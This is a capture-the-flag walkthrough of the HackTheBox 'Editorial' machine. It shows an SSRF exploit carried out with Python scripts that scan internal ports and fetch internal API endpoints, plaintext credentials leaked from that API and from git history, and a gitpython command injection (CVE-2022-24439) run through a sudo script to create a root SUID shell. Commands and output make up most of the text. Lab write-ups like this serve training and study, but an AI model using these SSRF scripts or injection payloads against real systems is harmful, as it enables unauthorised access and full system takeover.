Editorial – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“Editorial” is an easy box/machine from HackTheBox
platform. The victim server is running a webpage. This webpage is vulnerable to Server-Side Request Forgery
(SSRF
), which exposes internal endpoints. One of these internal endpoints exposed leaks the credentials for a user, which let us gain initial access to the victim machine. Once inside the victim machine, we are able to find a git
repository that leak credentials for a new user. This new user is able to run a script with sudo
as root
user. This script uses a vulnerable git
library for Python
, which let us inject commands as root
user and gain total control of the system.
User Link to heading
Starting with Nmap
scan to check open TCP ports we have only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:42 -04
Initiating SYN Stealth Scan at 20:42
Scanning 10.10.11.20 [65535 ports]
Discovered open port 22/tcp on 10.10.11.20
Discovered open port 80/tcp on 10.10.11.20
Completed SYN Stealth Scan at 20:43, 18.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received user-set (0.17s latency).
Scanned at 2024-07-13 20:42:45 -04 for 18s
Not shown: 63302 closed tcp ports (reset), 2231 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.29 seconds
Raw packets sent: 88944 (3.914MB) | Rcvd: 77451 (3.098MB)
and checking their versions/details:
❯ sudo nmap -sVC -p22,80 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 20:44 -04
Nmap scan report for 10.10.11.20
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the output I can see that HTTP
site redirects to http://editorial.htb
, so I add this domain to my /etc/hosts
file running:
❯ echo '10.10.11.20 editorial.htb' | sudo tee -a /etc/hosts
Once added, I check this domain with WhatWeb
, where I do not see interesting info besides the server running on Nginx
:
❯ whatweb -a 3 http://editorial.htb
http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]
Visiting http://editorial.htb
in a web browser like Firefox
shows the following page:
After inspecting the page there is a button Publish with us
that redirects to http://editorial.htb/upload
, where I can see that we can upload data to publish a book:
I note that we can pass an url or a file. If I pass as link file the url http://10.10.16.9:8080/test
(and after starting a listener with netcat
on port 8080
running nc -lvnp 8080
) I note that the page shows a message:
✍️ Request Submited! 🔖 We'll reach your book. Let us read and explore your idea and soon you will have news 📚
So I assume my request has been uploaded. But I do not receive any request in my netcat
listener.
I get something in my netcat
listener if instead of clicking on Send book info
I click on Preview
at the bottom right side. Putting as url, for example, http://10.10.16.9:8000/test
and then clicking on Preview
shows in my listener:
❯ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.20] 40898
GET /test HTTP/1.1
Host: 10.10.16.9:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
If I intercept it with Burpsuite
(clicking on Preview
) and send it to the Repeater
. We have then the HTTP
request:
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------1575085794932368148323839479
Content-Length: 359
Origin: http://editorial.htb
DNT: 1
Connection: close
Referer: http://editorial.htb/upload
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookurl"
http://10.10.16.9:8000
-----------------------------1575085794932368148323839479
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------1575085794932368148323839479--
And we get the response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 13 Jul 2024 01:11:40 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
where I get an url:
http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
If I visit that page I just see an icon like the one under the string Book information
:
To check if this url is vulnerable to Server-Side Request Forgery
(SSRF
) I create a simple Python
script that checks the length of the response when we make a request to 127.0.0.1
and different ports. I expect that if we find an internally open port it might return a size different than the other requests (that is 61
). The script is:
#!/usr/bin/python3
import requests
from multiprocessing import Pool
burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479",
"Origin": "http://editorial.htb",
"DNT": "1",
"Connection": "close",
"Referer": "http://editorial.htb/upload"
}
exclude_length = 61
def check_port(port):
burp0_data = (
f"-----------------------------1575085794932368148323839479\r\n"
f"Content-Disposition: form-data; name=\"bookurl\"\r\n\r\n"
f"http://127.0.0.1:{port}\r\n"
f"-----------------------------1575085794932368148323839479\r\n"
f"Content-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\n\r\n"
f"-----------------------------1575085794932368148323839479--\r\n"
)
try:
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=30)
if 'Content-Length' in r.headers:
size = int(r.headers['Content-Length'])
else:
size = len(r.content)
if size != exclude_length:
print(f"[+] Port {port} returns size {size} (different from average size {exclude_length})")
except requests.exceptions.RequestException as e:
print(f"[-] Port {port} raised an exception: {e}")
if __name__ == "__main__":
with Pool(processes=30) as pool:
pool.map(check_port, range(1, 65536))
And after running it I get:
❯ python3 SSRF_explorer_multiprocessing.py
[+] Port 5000 returns size 51 (different from average size 61)
I note that if I pass as url http://127.0.0.1:5000
the pages icon disappears:
I check the page that is returned from the request (that is not an url with a .jpeg
file). For example, if I get the directory static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb
, with cURL
it shows:
❯ curl -s http://editorial.htb/static/uploads/b077f08e-d63d-4b99-b117-e017a9b797bb
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
We have some endpoints exposed. Remember these endpoints.
To summarize, we have found the following:
- The site is vulnerable to
Server-Side Request Forgery
, with port5000
internally exposed. This service has shown endpoints available for this internal service that we could now use. - When we make a request to this internal service, it also creates public API endpoints at the webserver. These public endpoints are temporarily exposed at
http://editorial.htb/<temporal-created-endpoint>
. - We can then try to visit these temporary public endpoints to get info.
For this I create, again, a Python
script that does the steps from above and save it on a file called API_requests.py
to visit the endpoints exposed:
#!/usr/bin/python3
import requests
import argparse
def get_arguments():
parser = argparse.ArgumentParser(description='Get info in webpage.')
# Add arguments
parser.add_argument('-e' ,'--endpoint', type=str, help='Endpoint to make the request', required=True)
return parser.parse_args()
def check_endpoint(endpoint: str)->str:
if endpoint.startswith('/'):
return endpoint
return '/'+endpoint
def main()->None:
# Get arguments from user
args = get_arguments()
# Set info for HTTP Request
burp0_url = "http://editorial.htb/upload-cover"
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "multipart/form-data; boundary=---------------------------1575085794932368148323839479", "Origin": "http://editorial.htb", "DNT": "1", "Connection": "close", "Referer": "http://editorial.htb/upload"}
url_request = f'http://127.0.0.1:5000{check_endpoint(args.endpoint)}'
print(f"[+] Making request to {url_request!r}...")
burp0_data = f"-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookurl\"\r\n\r\n{url_request}\r\n-----------------------------1575085794932368148323839479\r\nContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------1575085794932368148323839479--\r\n"
r_post = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
url = r_post.text.strip()
request_url = f'http://editorial.htb/{url}'
print(f"[+] Attempting request to {request_url!r}...")
r_get = requests.get(request_url, headers=burp0_headers)
print("[+] Output is:")
print(r_get.text)
if __name__ == "__main__":
main()
Then I start running my script and it works. If, for example, we visit the API endpoint /api/latest/metadata/messages/coupons
we get:
❯ python3 API_request.py -e '/api/latest/metadata/messages/coupons'
[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/coupons'...
[+] Attempting request to 'http://editorial.htb/static/uploads/52e8c6f5-0a68-4de1-8dfc-88037cc165e3'...
[+] Output is:
[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]
I get interesting info when we request the endpoint /api/latest/metadata/messages/authors
:
❯ python3 API_request.py -e '/api/latest/metadata/messages/authors'
[+] Making request to 'http://127.0.0.1:5000/api/latest/metadata/messages/authors'...
[+] Attempting request to 'http://editorial.htb/static/uploads/06be6adb-5a83-46fc-954f-b63366e3d8a4'...
[+] Output is:
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
This message leaks credentials: dev:dev080217_devAPI!@
.
I check if these credentials work via SSH
with NetExec
:
❯ netexec ssh 10.10.11.20 -u dev -p 'dev080217_devAPI!@'
SSH 10.10.11.20 22 10.10.11.20 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.7
SSH 10.10.11.20 22 10.10.11.20 [+] dev:dev080217_devAPI!@ (non root) Linux - Shell access!
and they do.
We can then log in via SSH
to the target machine:
❯ sshpass -p 'dev080217_devAPI!@' ssh -o stricthostkeychecking=no dev@10.10.11.20
<SNIP>
dev@editorial:~$ whoami
dev
We can get the user flag.
Root Link to heading
Checking directories at /home/dev
I can see a folder called apps
:
dev@editorial:~$ ls -la
total 32
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 .
drwxr-xr-x 4 root root 4096 Jun 5 14:36 ..
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 apps
lrwxrwxrwx 1 root root 9 Feb 6 2023 .bash_history -> /dev/null
-rw-r--r-- 1 dev dev 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 dev dev 3771 Jan 6 2022 .bashrc
drwx------ 2 dev dev 4096 Jun 5 14:36 .cache
-rw-r--r-- 1 dev dev 807 Jan 6 2022 .profile
-rw-r----- 1 root dev 33 Jul 13 00:42 user.txt
dev@editorial:~$ cd apps
dev@editorial:~/apps$ ls -la
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
I can see a .git
directory. I decide then to check for previous commits:
dev@editorial:~/apps$ git log -n 10
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
Eventually, I can see interesting info in one of the logs:
dev@editorial:~/apps$ git diff 1e84a036b2f33c59e2390730699a488c65643d28
diff --git a/app_api/app.py b/app_api/app.py
deleted file mode 100644
index 61b786f..0000000
--- a/app_api/app.py
+++ /dev/null
<SNIP>
'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYou
r login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as pos
sible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name
+ " Team."
- }) # TODO: replace dev credentials when checks pass
<SNIP>
where now we have credentials: prod:080217_Producti0n_2023!@
I can see a similar message that leaked the credentials for dev
user, but this time for a user called prod
. I check if this user exists on the target machine:
dev@editorial:~/apps$ cat /etc/passwd | grep "prod"
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
Since this user exists, I pivot to this user with its password:
dev@editorial:~/apps$ su prod
Password: 080217_Producti0n_2023!@
prod@editorial:/home/dev/apps$ whoami
prod
Checking what can this new user run with sudo
shows:
prod@editorial:/home/dev/apps$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
We can run, with python3
the script /opt/internal_apps/clone_changes/clone_prod_change.py
and then provide an argument. I check what this script is and we have:
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
The interesting/not usual library here is git
.
Searching for a vulnerability for this library I find this post where they show how we could inject commands and then the related Github issue to this vulnerability. This vulnerability is labeled as CVE-2022-24439 and affect versions of gitpython
library up to 3.1.30
. If I check the version of the available git
library in the target machine we have:
prod@editorial:/home/dev/apps$ python3 -c 'import git; print(git.__version__)'
3.1.29
This version is vulnerable.
The example provided in the Github issue is:
<gitpython::clone> 'ext::sh -c touch% /tmp/pwned'
I adapt it to the command we can run with sudo
. I will create a copy of /bin/bash
and, to that copy, assign SUID permissions. First, I will test it cloning /bin/bash
:
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/gunzf0x'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cp% /bin/bash% /tmp/gunzf0x new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:/home/dev/apps$ ls -la /tmp
total 1412
drwxrwxrwt 12 root root 4096 Jul 13 03:10 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxrwxrwt 2 root root 4096 Jul 13 00:37 .font-unix
-rwxr-xr-x 1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>
and I see that my file has been created, and the owner of the file is root
(so the previous command copying the file has been executed by root
).
Now, as we mentioned, assign SUID permissions to that file:
prod@editorial:/home/dev/apps$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c chmod% 4755% /tmp/gunzf0x'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
<SNIP>
prod@editorial:/home/dev/apps$ ls -la /tmp
total 1412
drwxrwxrwt 12 root root 4096 Jul 13 03:10 .
drwxr-xr-x 18 root root 4096 Jun 5 14:54 ..
drwxrwxrwt 2 root root 4096 Jul 13 00:37 .font-unix
-rwsr-xr-x 1 root root 1396520 Jul 13 03:10 gunzf0x
<SNIP>
As we can see, our copy has SUID permissions.
Now just run it with -p
flag so we run it with the owner permissions:
prod@editorial:/home/dev/apps$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
And we are root
user. We can read the flag at /root
directory.
~Happy Hacking